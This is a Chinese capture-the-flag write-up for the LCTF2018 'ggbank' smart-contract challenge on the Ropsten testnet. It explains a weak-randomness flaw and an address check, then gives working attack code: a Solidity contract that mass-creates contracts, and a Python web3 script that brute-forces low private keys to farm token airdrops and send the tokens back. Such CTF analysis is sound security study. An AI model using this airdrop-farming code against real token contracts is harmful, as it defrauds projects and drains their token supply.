LCTF2018 ggbank 薅羊毛實戰

作者:LoRexxar'@知道創宇404區塊鏈安全研究團隊 時間:2018年11月20日

11.18號結束的LCTF2018中有一個很有趣的智能合約題目叫做ggbank,題目的原意是考察弱隨機數問題,但在題目的設定上挺有意思的,加入了一個對地址的驗證,導致弱隨機的難度高了許多,反倒是薅羊毛更快樂了,下面就借這個題聊聊關於薅羊毛的實戰操作。

分 析

源代碼 https://ropsten.etherscan.io/address/0x7caa18d765e5b4c3bf0831137923841fe3e7258a#code

首先我們照例來分析一下源代碼

和之前我出的題風格一致,首先是發行了一種token,然後基於token的挑戰代碼,主要有幾個點

modifier authenticate { //修飾器,在authenticate關鍵字做修飾器時,會執行該函數 require(checkfriend(msg.sender));_; // 對來源做checkfriend判斷 }

跟着看checkfriend函數

function checkfriend(address _addr) internal pure returns (bool success) { bytes20 addr = bytes20(_addr); bytes20 id = hex"000000000000000000000000000000000007d7ec"; bytes20 gg = hex"00000000000000000000000000000000000fffff"; for (uint256 i = 0; i < 34; i++) { //逐漸對比最後5位 if (addr & gg == id) { // 當地址中包含7d7ec時可以繼續 return true; } gg <<= 4; id <<= 4; } return false; }

checkfriend就是整個挑戰最大的難點,也大幅度影響了思考的方向,這個稍後再談。

function getAirdrop() public authenticate returns (bool success){ if (!initialized[msg.sender]) { //空投 initialized[msg.sender] = true; balances[msg.sender] = _airdropAmount; _totalSupply += _airdropAmount; } return true; }

空投函數沒看有什麼太可說的,就是對每一個新用戶都發一次空投。

然後就是goodluck函數

function goodluck() public payable authenticate returns (bool success) { require(!locknumber[block.number]); //判斷block.numbrt require(balances[msg.sender]>=100); //餘額大於100 balances[msg.sender]-=100; //每次調用要花費100token uint random=uint(keccak256(abi.encodePacked(block.number))) % 100; //隨機數 if(uint(keccak256(abi.encodePacked(msg.sender))) % 100 == random){ //隨機數判斷 balances[msg.sender]+=20000; _totalSupply +=20000; locknumber[block.number] = true; } return true; }

然後只要餘額大於200000就可以拿到flag。

其實代碼特別簡單,漏洞也不難,就是非常常見的弱隨機數問題。

隨機數的生成方式爲

uint random=uint(keccak256(abi.encodePacked(block.number))) % 100;

另一個的生成方式爲

uint(keccak256(abi.encodePacked(msg.sender))) % 100

其實非常簡單,這兩個數字都是已知的,msg.sender可以直接控制已知的地址,那麼左值就是已知的,剩下的就是要等待一個右值出現,由於block.number是自增的,我們可以通過提前計算出一個block.number,然後寫腳本監控這個值出現,提前開始發起交易搶打包,就ok了。具體我就不詳細提了。可以看看出題人的wp。

https://github.com/LCTF/LCTF2018/tree/master/Writeup/gg%20bank

但問題就在於,這種操作要等block.number出現,而且還要搶打包,畢竟還是不穩定的。所以在做題的時候我們關注到另一條路,薅羊毛,這裏重點說說這個。

合約薅羊毛

在想到原來的思路過於複雜之後,我就順理成章的想到薅羊毛這條路,然後第一反正就是直接通過合約建合約的方式來碰這個概率。

思路來自於最早發現的薅羊毛合約 https://paper.seebug.org/646/

這個合約有幾個很精巧的點。

首先我們需要有基本的概念,在以太坊上發起交易是需要支付gas的,如果我們不通過合約來交易,那麼這筆gas就必須先轉賬過去eth,然後再發起交易,整個過程困難了好幾倍不止。

然後就有了新的問題,在合約中新建合約在EVM中,是屬於高消費的操作之一,在以太坊中,每一次交易都會打包進一個區塊中,而每一個區塊都有gas消費的上限,如果超過了上限,就會爆gas out,然後交易回滾,交易就失敗了。

contract attack{ address target = 0x7caa18D765e5B4c3BF0831137923841FE3e7258a; function checkfriend(address _addr) internal pure returns (bool success) { bytes20 addr = bytes20(_addr); bytes20 id = hex"000000000000000000000000000000000007d7ec"; bytes20 gg = hex"00000000000000000000000000000000000fffff"; for (uint256 i = 0; i < 34; i++) { if (addr & gg == id) { return true; } gg <<= 4; id <<= 4; } return false; } function attack(){ // getairdrop if(checkfriend(address(this))){ target.call(bytes4(keccak256('getAirdrop()'))); target.call(bytes4(keccak256("transfer(address,uint256)")),0xACB7a6Dc0215cFE38e7e22e3F06121D2a1C42f6C, 1000); } } } contract doit{ function doit() payable { } function attack_starta() public { for(int i=0;i<=50;i++){ new attack(); } } function () payable { } }

上述的poc中,有一個很特別的點就是我加入了checkfriend的判斷,因爲我發現循環中如果新建合約的函數調用revert會導致整個交易報錯,所以我乾脆把整個判斷放上來,在判斷後再發起交易。

可問題來了,我嘗試跑了幾波之後發現完全不行,我忽略了一個問題。

讓我們回到checkfriend

function checkfriend(address _addr) internal pure returns (bool success) { bytes20 addr = bytes20(_addr); bytes20 id = hex"000000000000000000000000000000000007d7ec"; bytes20 gg = hex"00000000000000000000000000000000000fffff"; for (uint256 i = 0; i < 34; i++) { if (addr & gg == id) { return true; } gg <<= 4; id <<= 4; } return false; }

checkfriend只接受地址中帶有7d7ec的地址交易,光是這幾個字母出現的概率就只有1/36*1/36*1/36*1/36*1/36這個機率在每次隨機生成50個合約上計算的話,概率就太小了。

必須要找新的辦法來解決才行。

python腳本解決方案

既然在合約上沒辦法,那麼我直接換用python寫腳本來解決。

這個挑戰最大的問題就在於checkfriend這裏,那麼我們直接換一種思路,如果我們去爆破私鑰去恢復地址,是不是更有效一點兒?

其實爆破的方式非常多,但有的恢復特別慢,也不知道瓶頸在哪,在換了幾種方式之後呢,我終於找到了一個特別快的恢復方式。

from ethereum.utils import privtoaddr, encode_hex for i in range(1000000,100000000): private_key = "%064d" % i address = "0x" + encode_hex(privtoaddr(private_key))

我們拿到了地址之後就簡單了,首先先轉0.01eth給它,然後用私鑰發起交易,獲得空投、轉賬回來。

需要注意的是,轉賬之後需要先等到轉賬這個交易打包成功,之後才能繼續下一步交易,需要多設置一步等待。

有個更快的方案是,先跑出200個地址,然後再批量轉賬,最後直接跑起來,不過想了一下感覺其實差不太多,因爲整個腳本跑下來也就不到半小時,速度還是很可觀的。

腳本如下

import ecdsa import sha3 from binascii import hexlify, unhexlify from ethereum.utils import privtoaddr, encode_hex from web3 import Web3 import os import traceback import time my_ipc = Web3.HTTPProvider("https://ropsten.infura.io/v3/6528deebaeba45f8a0d005b570bef47d") assert my_ipc.isConnected() w3 = Web3(my_ipc) target = "0x7caa18D765e5B4c3BF0831137923841FE3e7258a" ggbank = [ { "constant": True, "inputs": [], "name": "name", "outputs": [ { "name": "", "type": "string" } ], "payable": False, "stateMutability": "view", "type": "function" }, { "constant": True, "inputs": [], "name": "totalSupply", "outputs": [ { "name": "", "type": "uint256" } ], "payable": False, "stateMutability": "view", "type": "function" }, { "constant": True, "inputs": [ { "name": "", "type": "address" } ], "name": "balances", "outputs": [ { "name": "", "type": "uint256" } ], "payable": False, "stateMutability": "view", "type": "function" }, { "constant": True, "inputs": [], "name": "INITIAL_SUPPLY", "outputs": [ { "name": "", "type": "uint256" } ], "payable": False, "stateMutability": "view", "type": "function" }, { "constant": True, "inputs": [], "name": "decimals", "outputs": [ { "name": "", "type": "uint8" } ], "payable": False, "stateMutability": "view", "type": "function" }, { "constant": True, "inputs": [], "name": "_totalSupply", "outputs": [ { "name": "", "type": "uint256" } ], "payable": False, "stateMutability": "view", "type": "function" }, { "constant": True, "inputs": [], "name": "_airdropAmount", "outputs": [ { "name": "", "type": "uint256" } ], "payable": False, "stateMutability": "view", "type": "function" }, { "constant": True, "inputs": [ { "name": "owner", "type": "address" } ], "name": "balanceOf", "outputs": [ { "name": "", "type": "uint256" } ], "payable": False, "stateMutability": "view", "type": "function" }, { "constant": True, "inputs": [], "name": "owner", "outputs": [ { "name": "", "type": "address" } ], "payable": False, "stateMutability": "view", "type": "function" }, { "constant": True, "inputs": [], "name": "symbol", "outputs": [ { "name": "", "type": "string" } ], "payable": False, "stateMutability": "view", "type": "function" }, { "constant": False, "inputs": [ { "name": "_to", "type": "address" }, { "name": "_value", "type": "uint256" } ], "name": "transfer", "outputs": [ { "name": "success", "type": "bool" } ], "payable": False, "stateMutability": "nonpayable", "type": "function" }, { "constant": False, "inputs": [ { "name": "b64email", "type": "string" } ], "name": "PayForFlag", "outputs": [ { "name": "success", "type": "bool" } ], "payable": True, "stateMutability": "payable", "type": "function" }, { "constant": False, "inputs": [], "name": "getAirdrop", "outputs": [ { "name": "success", "type": "bool" } ], "payable": False, "stateMutability": "nonpayable", "type": "function" }, { "constant": False, "inputs": [], "name": "goodluck", "outputs": [ { "name": "success", "type": "bool" } ], "payable": True, "stateMutability": "payable", "type": "function" }, { "inputs": [], "payable": False, "stateMutability": "nonpayable", "type": "constructor" }, { "anonymous": False, "inputs": [ { "indexed": False, "name": "b64email", "type": "string" }, { "indexed": False, "name": "back", "type": "string" } ], "name": "GetFlag", "type": "event" } ] mytarget = "0xACB7a6Dc0215cFE38e7e22e3F06121D2a1C42f6C" mytarget_private_key = 這是私鑰 transaction_dict = {'chainId': 3, 'from':Web3.toChecksumAddress(mytarget), 'to':'', # empty address for deploying a new contract 'gasPrice':10000000000, 'gas':200000, 'nonce': None, 'value':10000000000000000, 'data':""} ggbank_ins = w3.eth.contract(abi=ggbank) ggbank_ins = ggbank_ins(address=Web3.toChecksumAddress(target)) nonce = 0 def transfer(address, private_key): print(address) global nonce # 發錢 if not nonce: nonce = w3.eth.getTransactionCount(Web3.toChecksumAddress(mytarget)) transaction_dict['nonce'] = nonce transaction_dict['to'] = Web3.toChecksumAddress(address) signed = w3.eth.account.signTransaction(transaction_dict, mytarget_private_key) result = w3.eth.sendRawTransaction(signed.rawTransaction) nonce +=1 while 1: if w3.eth.getBalance(Web3.toChecksumAddress(address)) >0: break time.sleep(1) # 空投 nonce2 = w3.eth.getTransactionCount(Web3.toChecksumAddress(address)) transaction2 = ggbank_ins.functions.getAirdrop().buildTransaction({'chainId': 3, 'gas': 200000, 'nonce': nonce2, 'gasPrice': w3.toWei('1', 'gwei')}) print(transaction2) signed2 = w3.eth.account.signTransaction(transaction2, private_key) result2 = w3.eth.sendRawTransaction(signed2.rawTransaction) # 轉賬 nonce2+=1 transaction3 = ggbank_ins.functions.transfer(mytarget, int(1000)).buildTransaction({'chainId': 3, 'gas': 200000, 'nonce': nonce2, 'gasPrice': w3.toWei('1', 'gwei')}) print(transaction3) signed3 = w3.eth.account.signTransaction(transaction3, private_key) result3 = w3.eth.sendRawTransaction(signed3.rawTransaction) if __name__ == '__main__': j = 0 for i in range(1000000,100000000): private_key = "%064d" % i # address = create_address(private_key) # print(address) # if "7d7ec" in address: # print(address) address = "0x" + encode_hex(privtoaddr(private_key)) if "7d7ec" in address: private_key = unhexlify(private_key) print(j) try: transfer(address, private_key) except: traceback.print_exc() print("error:"+str(j)) j+=1

最終效果顯著

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章